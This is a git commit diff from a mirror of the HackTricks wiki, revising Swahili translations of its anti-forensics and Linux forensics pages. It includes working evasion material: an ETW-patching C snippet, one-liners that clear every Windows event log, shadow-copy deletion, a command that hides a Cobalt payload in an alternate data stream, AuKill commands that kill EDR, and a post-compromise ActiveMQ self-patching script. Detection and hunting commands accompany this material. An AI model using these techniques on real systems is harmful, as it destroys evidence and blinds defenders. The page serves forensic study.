mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/basic-forensic-
This commit is contained in:
parent
ce421cef77
commit
4c401d7a85
@ -7,17 +7,17 @@
|
||||
Mshambuliaji anaweza kuwa na hamu ya **kubadilisha wakati wa faili** ili kuepuka kugunduliwa.\
|
||||
Inawezekana kupata wakati ndani ya MFT katika sifa `$STANDARD_INFORMATION` \_\_ na \_\_ `$FILE_NAME`.
|
||||
|
||||
Sifa zote zina wakati 4: **Mabadiliko**, **ufikiaji**, **kuundwa**, na **mabadiliko ya rejista ya MFT** (MACE au MACB).
|
||||
Sifa zote zina nyakati 4: **Mabadiliko**, **ufikiaji**, **kuundwa**, na **mabadiliko ya rejista ya MFT** (MACE au MACB).
|
||||
|
||||
**Windows explorer** na zana nyingine zinaonyesha taarifa kutoka **`$STANDARD_INFORMATION`**.
|
||||
|
||||
### TimeStomp - Zana ya Anti-forensic
|
||||
|
||||
Zana hii **inabadilisha** taarifa za wakati ndani ya **`$STANDARD_INFORMATION`** **lakini** **sio** taarifa ndani ya **`$FILE_NAME`**. Hivyo, inawezekana **kubaini** **shughuli** **za kutatanisha**.
|
||||
Zana hii **inabadilisha** taarifa za wakati ndani ya **`$STANDARD_INFORMATION`** **lakini** **sio** taarifa ndani ya **`$FILE_NAME`**. Hivyo, inawezekana **kutambua** **shughuli** **za kutatanisha**.
|
||||
|
||||
### Usnjrnl
|
||||
|
||||
**USN Journal** (Jarida la Nambari ya Mfululizo wa Sasisho) ni kipengele cha NTFS (mfumo wa faili wa Windows NT) kinachofuatilia mabadiliko ya kiasi. Zana ya [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) inaruhusu uchambuzi wa mabadiliko haya.
|
||||
**USN Journal** (Journali ya Nambari ya Mabadiliko) ni kipengele cha NTFS (mfumo wa faili wa Windows NT) kinachofuatilia mabadiliko ya kiasi. Zana ya [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) inaruhusu uchambuzi wa mabadiliko haya.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -25,13 +25,13 @@ Picha ya awali ni **matokeo** yanayoonyeshwa na **zana** ambapo inaonekana kuwa
|
||||
|
||||
### $LogFile
|
||||
|
||||
**Mabadiliko yote ya metadata kwa mfumo wa faili yanarekodiwa** katika mchakato unaojulikana kama [kuandika kabla ya kurekodi](https://en.wikipedia.org/wiki/Write-ahead_logging). Metadata iliyorekodiwa inahifadhiwa katika faili inayoitwa `**$LogFile**`, iliyoko katika saraka ya mzizi ya mfumo wa faili wa NTFS. Zana kama [LogFileParser](https://github.com/jschicht/LogFileParser) zinaweza kutumika kuchambua faili hii na kubaini mabadiliko.
|
||||
**Mabadiliko yote ya metadata kwa mfumo wa faili yanarekodiwa** katika mchakato unaojulikana kama [kuandika kabla ya kurekodi](https://en.wikipedia.org/wiki/Write-ahead_logging). Metadata iliyorekodiwa inahifadhiwa katika faili inayoitwa `**$LogFile**`, iliyoko katika saraka ya mzizi ya mfumo wa faili wa NTFS. Zana kama [LogFileParser](https://github.com/jschicht/LogFileParser) zinaweza kutumika kuchambua faili hii na kutambua mabadiliko.
|
||||
|
||||
.png>)
|
||||
|
||||
Tena, katika matokeo ya zana inawezekana kuona kuwa **baadhi ya mabadiliko yalifanywa**.
|
||||
|
||||
Kwa kutumia zana hiyo hiyo inawezekana kubaini **ni wakati gani wakati ulipobadilishwa**:
|
||||
Kwa kutumia zana hiyo hiyo inawezekana kutambua **wakati ambao nyakati ziliporomoshwa**:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -42,11 +42,11 @@ Kwa kutumia zana hiyo hiyo inawezekana kubaini **ni wakati gani wakati ulipobadi
|
||||
|
||||
### Ulinganisho wa `$STANDARD_INFORMATION` na `$FILE_NAME`
|
||||
|
||||
Njia nyingine ya kubaini faili zilizobadilishwa kwa kutatanisha ni kulinganisha wakati kwenye sifa zote mbili kutafuta **mismatch**.
|
||||
Njia nyingine ya kutambua faili zilizobadilishwa kwa kutatanisha ni kulinganisha wakati kwenye sifa zote mbili kutafuta **mismatch**.
|
||||
|
||||
### Nanoseconds
|
||||
|
||||
**Wakati wa NTFS** una **usahihi** wa **nanoseconds 100**. Hivyo, kupata faili zikiwa na wakati kama 2010-10-10 10:10:**00.000:0000 ni ya kutatanisha sana**.
|
||||
**Nyakati za NTFS** zina **usahihi** wa **nanoseconds 100**. Hivyo, kupata faili zikiwa na nyakati kama 2010-10-10 10:10:**00.000:0000 ni ya kutatanisha sana**.
|
||||
|
||||
### SetMace - Zana ya Anti-forensic
|
||||
|
||||
@ -64,12 +64,12 @@ Hivyo, inawezekana kurejesha nafasi ya slack kwa kutumia zana kama FTK Imager. K
|
||||
|
||||
## UsbKill
|
||||
|
||||
Hii ni zana ambayo it **izima kompyuta ikiwa mabadiliko yoyote katika USB** bandari yanagundulika.\
|
||||
Hii ni zana ambayo it **izima kompyuta ikiwa mabadiliko yoyote katika USB** bandari yanagunduliwa.\
|
||||
Njia moja ya kugundua hii ni kukagua michakato inayotembea na **kurejea kila script ya python inayotembea**.
|
||||
|
||||
## Usambazaji wa Linux Hai
|
||||
## Usambazaji wa Live Linux
|
||||
|
||||
Hizi distros zina **tekelezwa ndani ya RAM** kumbukumbu. Njia pekee ya kuzigundua ni **ikiwa mfumo wa faili wa NTFS umewekwa na ruhusa za kuandika**. Ikiwa umewekwa tu na ruhusa za kusoma haitakuwa rahisi kugundua uvamizi.
|
||||
Hizi distros zina **tekelezwa ndani ya RAM** kumbukumbu. Njia pekee ya kuzitambua ni **ikiwa mfumo wa faili wa NTFS umewekwa na ruhusa za kuandika**. Ikiwa umewekwa tu na ruhusa za kusoma haitakuwa rahisi kugundua uvamizi.
|
||||
|
||||
## Kufuta Salama
|
||||
|
||||
@ -86,7 +86,7 @@ Hii ni funguo ya rejista inayohifadhi tarehe na saa wakati kila executable ilipo
|
||||
Kuzima UserAssist kunahitaji hatua mbili:
|
||||
|
||||
1. Weka funguo mbili za rejista, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` na `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, zote kuwa sifuri ili kuashiria kwamba tunataka UserAssist izimwe.
|
||||
2. Futa subtree zako za rejista ambazo zinaonekana kama `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||
2. Futa subtrees zako za rejista zinazofanana na `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
|
||||
|
||||
### Zima Wakati - Prefetch
|
||||
|
||||
@ -104,39 +104,39 @@ Wakati folder inafunguliwa kutoka kiasi cha NTFS kwenye seva ya Windows NT, mfum
|
||||
|
||||
1. Fungua Mhariri wa Rejista (Regedit.exe).
|
||||
2. Tembelea `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
|
||||
3. Tafuta `NtfsDisableLastAccessUpdate`. Ikiwa haipo, ongeza hii DWORD na weka thamani yake kuwa 1, ambayo itazima mchakato.
|
||||
3. Tafuta `NtfsDisableLastAccessUpdate`. Ikiwa haipo, ongeza DWORD hii na weka thamani yake kuwa 1, ambayo itazima mchakato.
|
||||
4. Funga Mhariri wa Rejista, na upya seva.
|
||||
|
||||
### Futa Historia ya USB
|
||||
|
||||
**Kila Kuingia ya Kifaa cha USB** inahifadhiwa katika Rejista ya Windows Chini ya funguo ya **USBSTOR** ambayo ina funguo ndogo ambazo zinaundwa kila wakati unapoingiza Kifaa cha USB kwenye PC au Laptop yako. Unaweza kupata funguo hii hapa `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Kufuta hii** utafuta historia ya USB.\
|
||||
Unaweza pia kutumia zana [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) ili kuwa na uhakika umekifuta (na kufuta).
|
||||
Makala yote ya **USB Device Entries** huhifadhiwa katika Rejista ya Windows Chini ya funguo ya **USBSTOR** ambayo ina funguo ndogo zinazoundwa kila wakati unapoingiza Kifaa cha USB kwenye PC au Laptop yako. Unaweza kupata funguo hii hapa `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Kufuta hii** utafuta historia ya USB.\
|
||||
Unaweza pia kutumia zana [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) kuhakikisha umekifuta (na kufuta).
|
||||
|
||||
Faili nyingine inayohifadhi taarifa kuhusu USB ni faili `setupapi.dev.log` ndani ya `C:\Windows\INF`. Hii pia inapaswa kufutwa.
|
||||
|
||||
### Zima Nakala za Kivuli
|
||||
|
||||
**Orodha** nakala za kivuli kwa `vssadmin list shadowstorage`\
|
||||
**Orodha** ya nakala za kivuli kwa kutumia `vssadmin list shadowstorage`\
|
||||
**Futa** kwa kuendesha `vssadmin delete shadow`
|
||||
|
||||
Unaweza pia kuzifuta kupitia GUI ukifuatia hatua zilizopendekezwa katika [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
Ili kuzima nakala za kivuli [hatua kutoka hapa](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Fungua programu za Huduma kwa kuandika "services" kwenye kisanduku cha kutafuta maandiko baada ya kubonyeza kitufe cha kuanza cha Windows.
|
||||
1. Fungua programu za Huduma kwa kuandika "services" kwenye kisanduku cha kutafuta maandiko baada ya kubonyeza kitufe cha kuanzisha cha Windows.
|
||||
2. Kutoka kwenye orodha, pata "Volume Shadow Copy", chagua, kisha upate Mali kwa kubonyeza kulia.
|
||||
3. Chagua Zime kutoka kwenye orodha ya "Aina ya Kuanzisha", kisha thibitisha mabadiliko kwa kubonyeza Tumia na Sawa.
|
||||
|
||||
Inawezekana pia kubadilisha mipangilio ya faili zipi zitakazokopwa katika nakala ya kivuli katika rejista `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
Pia inawezekana kubadilisha mipangilio ya faili zipi zitakazokopwa katika nakala ya kivuli katika rejista `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
### Andika faili zilizofutwa
|
||||
### Andika tena faili zilizofutwa
|
||||
|
||||
- Unaweza kutumia **zana ya Windows**: `cipher /w:C` Hii itamwambia cipher kuondoa data yoyote kutoka kwa nafasi isiyotumika ya diski ndani ya diski ya C.
|
||||
- Unaweza kutumia **zana ya Windows**: `cipher /w:C` Hii itamwambia cipher kuondoa data yoyote kutoka kwa nafasi isiyotumika ya diski inayopatikana ndani ya diski ya C.
|
||||
- Unaweza pia kutumia zana kama [**Eraser**](https://eraser.heidi.ie)
|
||||
|
||||
### Futa kumbukumbu za matukio ya Windows
|
||||
|
||||
- Windows + R --> eventvwr.msc --> Panua "Kumbukumbu za Windows" --> Bonyeza kulia kila kikundi na chagua "Futa Kumbukumbu"
|
||||
- Windows + R --> eventvwr.msc --> Panua "Kumbukumbu za Windows" --> Bonyeza kulia kila kikundi na uchague "Futa Kumbukumbu"
|
||||
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
|
||||
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
|
||||
|
||||
@ -152,11 +152,11 @@ Inawezekana pia kubadilisha mipangilio ya faili zipi zitakazokopwa katika nakala
|
||||
|
||||
---
|
||||
|
||||
## Kurekodi na Kudanganya Nyayo za Juu (2023-2025)
|
||||
## Kurekodi na Kudanganya Alama za Juu (2023-2025)
|
||||
|
||||
### Kurekodi ScriptBlock/Module ya PowerShell
|
||||
|
||||
Matoleo ya hivi karibuni ya Windows 10/11 na Windows Server yana **vithibitisho vya PowerShell vya forensics** chini ya
|
||||
Matoleo ya hivi karibuni ya Windows 10/11 na Windows Server yana **vitu vya forensics vya PowerShell** chini ya
|
||||
`Microsoft-Windows-PowerShell/Operational` (matukio 4104/4105/4106).
|
||||
Mshambuliaji anaweza kuzima au kufuta mara moja:
|
||||
```powershell
|
||||
@ -174,7 +174,7 @@ Walinda wanapaswa kufuatilia mabadiliko kwenye funguo hizo za rejista na kuondol
|
||||
|
||||
### ETW (Event Tracing for Windows) Patch
|
||||
|
||||
Bidhaa za usalama wa mwisho zinategemea sana ETW. Njia maarufu ya kuepuka mwaka wa 2024 ni kupachika `ntdll!EtwEventWrite`/`EtwEventWriteFull` kwenye kumbukumbu ili kila wito wa ETW urudishe `STATUS_SUCCESS` bila kutoa tukio:
|
||||
Bidhaa za usalama wa mwisho zinategemea sana ETW. Njia maarufu ya kuepuka mwaka wa 2024 ni kupachika `ntdll!EtwEventWrite`/`EtwEventWriteFull` katika kumbukumbu ili kila wito wa ETW urudishe `STATUS_SUCCESS` bila kutoa tukio:
|
||||
```c
|
||||
// 0xC3 = RET on x64
|
||||
unsigned char patch[1] = { 0xC3 };
|
||||
@ -182,13 +182,13 @@ WriteProcessMemory(GetCurrentProcess(),
|
||||
GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
|
||||
patch, sizeof(patch), NULL);
|
||||
```
|
||||
Public PoCs (e.g. `EtwTiSwallow`) zinafanya kazi sawa katika PowerShell au C++.
|
||||
Kwa sababu ya patch ni **process-local**, EDRs zinazotembea ndani ya michakato mingine zinaweza kukosa.
|
||||
Public PoCs (e.g. `EtwTiSwallow`) implement the same primitive in PowerShell or C++.
|
||||
Kwa sababu ya patch ni **process-local**, EDRs zinazotembea ndani ya michakato mingine zinaweza kukosa hiyo.
|
||||
Uchunguzi: linganisha `ntdll` katika kumbukumbu dhidi ya kwenye diski, au hook kabla ya user-mode.
|
||||
|
||||
### Urejeleaji wa Mito ya Takwimu Mbadala (ADS)
|
||||
|
||||
Kampeni za malware mwaka 2023 (e.g. **FIN12** loaders) zimeonekana zikifanya hatua ya pili ya binaries ndani ya ADS ili kubaki nje ya mtazamo wa skana za jadi:
|
||||
Kampeni za malware mwaka wa 2023 (e.g. **FIN12** loaders) zimeonekana zikifanya staging binaries za hatua ya pili ndani ya ADS ili kubaki nje ya mtazamo wa skana za jadi:
|
||||
```cmd
|
||||
rem Hide cobalt.bin inside an ADS of a PDF
|
||||
type cobalt.bin > report.pdf:win32res.dll
|
||||
@ -204,12 +204,85 @@ Bring-Your-Own-Vulnerable-Driver sasa hutumiwa mara kwa mara kwa **anti-forensic
|
||||
AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
|
||||
AuKill.exe -k CrowdStrike
|
||||
```
|
||||
Dereva huondolewa baadaye, ikiacha artefaki chache.
|
||||
|
||||
Mitigations: wezesha orodha ya kuzuia dereva dhaifu ya Microsoft (HVCI/SAC), na onya juu ya uundaji wa huduma za kernel kutoka kwa njia zinazoweza kuandikwa na mtumiaji.
|
||||
Driver inatolewa baadaye, ikiacha artefacts chache.
|
||||
Mikakati: wezesha orodha ya kuzuia madereva hatarishi ya Microsoft (HVCI/SAC), na onya juu ya uundaji wa huduma za kernel kutoka kwa njia zinazoweza kuandikwa na mtumiaji.
|
||||
|
||||
---
|
||||
|
||||
## Linux Anti-Forensics: Kujipatia Kijisafisha na Cloud C2 (2023–2025)
|
||||
|
||||
### Kujipatia Kijisafisha huduma zilizovunjwa ili kupunguza kugundulika (Linux)
|
||||
Wadadisi wanajitahidi "kujipatia kijisafisha" huduma mara tu baada ya kuzikandamiza ili kuzuia tena kuzikandamiza na kukandamiza kugundulika kwa msingi wa udhaifu. Wazo ni kubadilisha vipengele vyenye udhaifu na binaries/JARs halali za juu zaidi, ili skana ziweze kuripoti mwenyeji kama amepatiwa kijisafisha wakati uvumilivu na C2 vinabaki.
|
||||
|
||||
Mfano: Apache ActiveMQ OpenWire RCE (CVE‑2023‑46604)
|
||||
- Baada ya kuzikandamiza, washambuliaji walipata JARs halali kutoka Maven Central (repo1.maven.org), wakafuta JARs zenye udhaifu katika usakinishaji wa ActiveMQ, na kuanzisha tena broker.
|
||||
- Hii ilifunga RCE ya awali huku ikihifadhi maeneo mengine (cron, mabadiliko ya usanidi wa SSH, vipandikizi vya C2 tofauti).
|
||||
|
||||
Mfano wa operesheni (kuonyesha)
|
||||
```bash
|
||||
# ActiveMQ install root (adjust as needed)
|
||||
AMQ_DIR=/opt/activemq
|
||||
cd "$AMQ_DIR"/lib
|
||||
|
||||
# Fetch patched JARs from Maven Central (versions as appropriate)
|
||||
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-client/5.18.3/activemq-client-5.18.3.jar
|
||||
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-openwire-legacy/5.18.3/activemq-openwire-legacy-5.18.3.jar
|
||||
|
||||
# Remove vulnerable files and ensure the service uses the patched ones
|
||||
rm -f activemq-client-5.18.2.jar activemq-openwire-legacy-5.18.2.jar || true
|
||||
ln -sf activemq-client-5.18.3.jar activemq-client.jar
|
||||
ln -sf activemq-openwire-legacy-5.18.3.jar activemq-openwire-legacy.jar
|
||||
|
||||
# Apply changes without removing persistence
|
||||
systemctl restart activemq || service activemq restart
|
||||
```
|
||||
Forensic/hunting tips
|
||||
- Kagua huduma za directories kwa ajili ya kubadilisha binary/JAR zisizopangwa:
|
||||
- Debian/Ubuntu: `dpkg -V activemq` na kulinganisha hash za faili/paths na repo mirrors.
|
||||
- RHEL/CentOS: `rpm -Va 'activemq*'`
|
||||
- Tafuta toleo la JAR lililopo kwenye diski ambalo halimilikiwi na meneja wa pakiti, au viungo vya alama vilivyosasishwa nje ya muktadha.
|
||||
- Timeline: `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` ili kuhusisha ctime/mtime na dirisha la kukiuka.
|
||||
- Historia ya shell/telemetry ya mchakato: ushahidi wa `curl`/`wget` kwa `repo1.maven.org` au CDNs nyingine za artefacts mara tu baada ya unyakuzi wa awali.
|
||||
- Usimamizi wa mabadiliko: thibitisha ni nani aliyeweka “patch” na kwa nini, si tu kwamba toleo lililosasishwa lipo.
|
||||
|
||||
### Cloud‑service C2 with bearer tokens and anti‑analysis stagers
|
||||
Uchunguzi wa biashara ulionyesha njia nyingi za C2 za muda mrefu na ufungaji wa anti‑analysis:
|
||||
- Wasilishi wa PyInstaller ELF walio na nenosiri ili kuzuia sandboxing na uchambuzi wa statiki (mfano, PYZ iliyosimbwa, utoaji wa muda mfupi chini ya `/_MEI*`).
|
||||
- Viashiria: `strings` hits kama `PyInstaller`, `pyi-archive`, `PYZ-00.pyz`, `MEIPASS`.
|
||||
- Artefacts za wakati wa utekelezaji: utoaji kwa `/tmp/_MEI*` au njia za desturi `--runtime-tmpdir`.
|
||||
- C2 inayotegemea Dropbox ikitumia tokens za OAuth Bearer zilizowekwa kwa nguvu
|
||||
- Alama za mtandao: `api.dropboxapi.com` / `content.dropboxapi.com` zikiwa na `Authorization: Bearer <token>`.
|
||||
- Tafuta katika proxy/NetFlow/Zeek/Suricata kwa HTTPS ya nje kwa maeneo ya Dropbox kutoka kwa kazi za seva ambazo kawaida hazisawazishi faili.
|
||||
- C2 ya sambamba/backup kupitia tunneling (mfano, Cloudflare Tunnel `cloudflared`), ikihifadhi udhibiti ikiwa channel moja imezuiwa.
|
||||
- IOCs za mwenyeji: mchakato/units za `cloudflared`, config katika `~/.cloudflared/*.json`, outbound 443 kwa Cloudflare edges.
|
||||
|
||||
### Persistence and “hardening rollback” to maintain access (Linux examples)
|
||||
Wavamizi mara nyingi huunganisha kujisahihisha na njia za ufikiaji zenye kudumu:
|
||||
- Cron/Anacron: mabadiliko kwa stub ya `0anacron` katika kila `/etc/cron.*/` directory kwa ajili ya utekelezaji wa mara kwa mara.
|
||||
- Tafuta:
|
||||
```bash
|
||||
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
|
||||
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
|
||||
```
|
||||
- Kuimarisha kurejea kwa usanidi wa SSH: kuwezesha logins za root na kubadilisha shells za kawaida kwa akaunti zenye mamlaka ya chini.
|
||||
- Tafuta kuwezesha logins za root:
|
||||
```bash
|
||||
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
|
||||
# flag values kama "yes" au mipangilio ya kupitisha kupita kiasi
|
||||
```
|
||||
- Tafuta shells za mwingiliano zenye shaka kwenye akaunti za mfumo (mfano, `games`):
|
||||
```bash
|
||||
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
|
||||
```
|
||||
- Artefacts za beacon zenye majina mafupi ya bahati nasibu (herufi 8 za alfabeti) zilizotolewa kwenye diski ambazo pia zinawasiliana na C2 ya wingu:
|
||||
- Tafuta:
|
||||
```bash
|
||||
find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
|
||||
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
|
||||
```
|
||||
|
||||
Walinda wanapaswa kuhusisha artefacts hizi na kufichuliwa kwa nje na matukio ya kusasisha huduma ili kugundua kujirekebisha kwa anti‑forensic kutumika kuficha unyakuzi wa awali.
|
||||
|
||||
## References
|
||||
|
||||
- Sophos X-Ops – “AuKill: A Weaponized Vulnerable Driver for Disabling EDR” (Machi 2023)
|
||||
@ -217,4 +290,7 @@ https://news.sophos.com/en-us/2023/03/07/aukill-a-weaponized-vulnerable-driver-f
|
||||
- Red Canary – “Patching EtwEventWrite for Stealth: Detection & Hunting” (Juni 2024)
|
||||
https://redcanary.com/blog/etw-patching-detection
|
||||
|
||||
- [Red Canary – Patching for persistence: How DripDropper Linux malware moves through the cloud](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/)
|
||||
- [CVE‑2023‑46604 – Apache ActiveMQ OpenWire RCE (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2023-46604)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
### Taarifa za Msingi
|
||||
|
||||
Kwanza kabisa, inashauriwa kuwa na **USB** yenye **binaries na maktaba zinazojulikana vizuri** (unaweza tu kupata ubuntu na nakala za folda _/bin_, _/sbin_, _/lib,_ na _/lib64_), kisha unganisha USB, na badilisha mabadiliko ya mazingira ili kutumia binaries hizo:
|
||||
Kwanza kabisa, inashauriwa kuwa na **USB** yenye **binaries na maktaba zinazojulikana vizuri** (unaweza tu kupata ubuntu na nakala za folda _/bin_, _/sbin_, _/lib,_ na _/lib64_), kisha unganisha USB, na badilisha mabadiliko ya mazingira ili kutumia hizo binaries:
|
||||
```bash
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
@ -33,20 +33,20 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
||||
|
||||
Wakati wa kupata taarifa za msingi unapaswa kuangalia mambo ya ajabu kama:
|
||||
|
||||
- **Mchakato wa Root** kwa kawaida huendesha na PIDS za chini, hivyo ikiwa utapata mchakato wa root wenye PID kubwa unaweza kuwa na shaka
|
||||
- **Mchakato wa Root** kwa kawaida huendesha na PIDS za chini, hivyo ikiwa utapata mchakato wa root wenye PID kubwa unaweza kushuku
|
||||
- Angalia **kuingia kwa watumiaji** waliojiandikisha bila shell ndani ya `/etc/passwd`
|
||||
- Angalia **hash za nywila** ndani ya `/etc/shadow` kwa watumiaji bila shell
|
||||
|
||||
### Dump ya Kumbukumbu
|
||||
|
||||
Ili kupata kumbukumbu ya mfumo unaoendesha, inashauriwa kutumia [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
Ili **kuandika** hiyo, unahitaji kutumia **kernel sawa** ambayo mashine ya mwathirika inatumia.
|
||||
Ili **kuunda** hiyo, unahitaji kutumia **kernel sawa** ambayo mashine ya mwathirika inatumia.
|
||||
|
||||
> [!NOTE]
|
||||
> Kumbuka kwamba huwezi **kufunga LiME au kitu kingine chochote** kwenye mashine ya mwathirika kwani itafanya mabadiliko kadhaa kwake
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba huwezi **kusanidi LiME au kitu kingine chochote** kwenye mashine ya mwathirika kwani itafanya mabadiliko kadhaa kwake
|
||||
|
||||
Hivyo, ikiwa una toleo sawa la Ubuntu unaweza kutumia `apt-get install lime-forensics-dkms`\
|
||||
Katika hali nyingine, unahitaji kupakua [**LiME**](https://github.com/504ensicsLabs/LiME) kutoka github na kuandika kwa kutumia vichwa sahihi vya kernel. Ili **kupata vichwa sahihi vya kernel** vya mashine ya mwathirika, unaweza tu **kunakili directory** `/lib/modules/<kernel version>` kwenye mashine yako, na kisha **kuandika** LiME kwa kutumia hivyo:
|
||||
Katika hali nyingine, unahitaji kupakua [**LiME**](https://github.com/504ensicsLabs/LiME) kutoka github na kuunda hiyo kwa kutumia vichwa vya kernel sahihi. Ili **kupata vichwa vya kernel sahihi** vya mashine ya mwathirika, unaweza tu **kunakili saraka** `/lib/modules/<kernel version>` kwenye mashine yako, na kisha **kuunda** LiME kwa kutumia hivyo:
|
||||
```bash
|
||||
make -C /lib/modules/<kernel version>/build M=$PWD
|
||||
sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
@ -61,12 +61,12 @@ LiME pia inaweza kutumika **kutuma dump kupitia mtandao** badala ya kuihifadhi k
|
||||
|
||||
### Disk Imaging
|
||||
|
||||
#### Kuzima
|
||||
#### Shutting down
|
||||
|
||||
Kwanza kabisa, utahitaji **kuzima mfumo**. Hii si chaguo kila wakati kwani wakati mwingine mfumo utakuwa seva ya uzalishaji ambayo kampuni haiwezi kumudu kuzima.\
|
||||
Kuna **njia 2** za kuzima mfumo, **kuzima kawaida** na **kuzima "vuta plug"**. Ya kwanza itaruhusu **mchakato kumalizika kama kawaida** na **filesystem** kuwa **sawa**, lakini pia itaruhusu **malware** inayoweza **kuharibu ushahidi**. Njia ya "vuta plug" inaweza kuleta **kupoteza taarifa** (sio nyingi za taarifa zitapotea kwani tayari tumepata picha ya kumbukumbu) na **malware haitakuwa na fursa yoyote** ya kufanya chochote kuhusu hilo. Hivyo, ikiwa unahisi kuwa kuna **malware**, tekeleza tu **amri** **`sync`** kwenye mfumo na vuta plug.
|
||||
Kuna **njia 2** za kuzima mfumo, **kuzima kawaida** na **"kuvuta plug" kuzima**. Ya kwanza itaruhusu **mchakato kumalizika kama kawaida** na **filesystem** kuwa **synchronized**, lakini pia itaruhusu **malware** inay posible **kuharibu ushahidi**. Njia ya "pull the plug" inaweza kuleta **kupoteza taarifa** (sio nyingi za taarifa zitapotea kwani tayari tumepata picha ya kumbukumbu) na **malware haitakuwa na fursa yoyote** ya kufanya chochote kuhusu hilo. Hivyo, ikiwa unadhani kuna **malware**, tekeleza tu **amri ya `sync`** kwenye mfumo na uvute plug.
|
||||
|
||||
#### Kuchukua picha ya diski
|
||||
#### Taking an image of the disk
|
||||
|
||||
Ni muhimu kutambua kwamba **kabla ya kuunganisha kompyuta yako na chochote kinachohusiana na kesi**, unahitaji kuwa na uhakika kwamba itakuwa **imewekwa kama kusoma tu** ili kuepuka kubadilisha taarifa yoyote.
|
||||
```bash
|
||||
@ -172,9 +172,9 @@ find /sbin/ –exec rpm -qf {} \; | grep "is not"
|
||||
# Find exacuable files
|
||||
find / -type f -executable | grep <something>
|
||||
```
|
||||
## Rejesha Binaries Zilizofutwa Zinazoendesha
|
||||
## Recover Deleted Running Binaries
|
||||
|
||||
Fikiria mchakato uliofanywa kutoka /tmp/exec na kisha kufutwa. Inawezekana kutoa.
|
||||
Fikiria mchakato ambao ulitekelezwa kutoka /tmp/exec na kisha kufutwa. Inawezekana kuutoa
|
||||
```bash
|
||||
cd /proc/3746/ #PID with the exec file deleted
|
||||
head -1 maps #Get address of the file. It was 08048000-08049000
|
||||
@ -196,27 +196,53 @@ cat /var/spool/cron/crontabs/* \
|
||||
#MacOS
|
||||
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||
```
|
||||
#### Hunt: Cron/Anacron abuse via 0anacron and suspicious stubs
|
||||
Washambuliaji mara nyingi huhariri stub ya 0anacron iliyopo chini ya kila /etc/cron.*/ directory ili kuhakikisha utekelezaji wa mara kwa mara.
|
||||
```bash
|
||||
# List 0anacron files and their timestamps/sizes
|
||||
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
|
||||
|
||||
# Look for obvious execution of shells or downloaders embedded in cron stubs
|
||||
grep -R --line-number -E 'curl|wget|/bin/sh|python|bash -c' /etc/cron.*/* 2>/dev/null
|
||||
```
|
||||
#### Hunt: SSH hardening rollback and backdoor shells
|
||||
Mabadiliko kwenye sshd_config na mifumo ya akaunti za shell ni ya kawaida baada ya matumizi ya nguvu ili kuhifadhi ufikiaji.
|
||||
```bash
|
||||
# Root login enablement (flag "yes" or lax values)
|
||||
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
|
||||
|
||||
# System accounts with interactive shells (e.g., games → /bin/sh)
|
||||
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
|
||||
```
|
||||
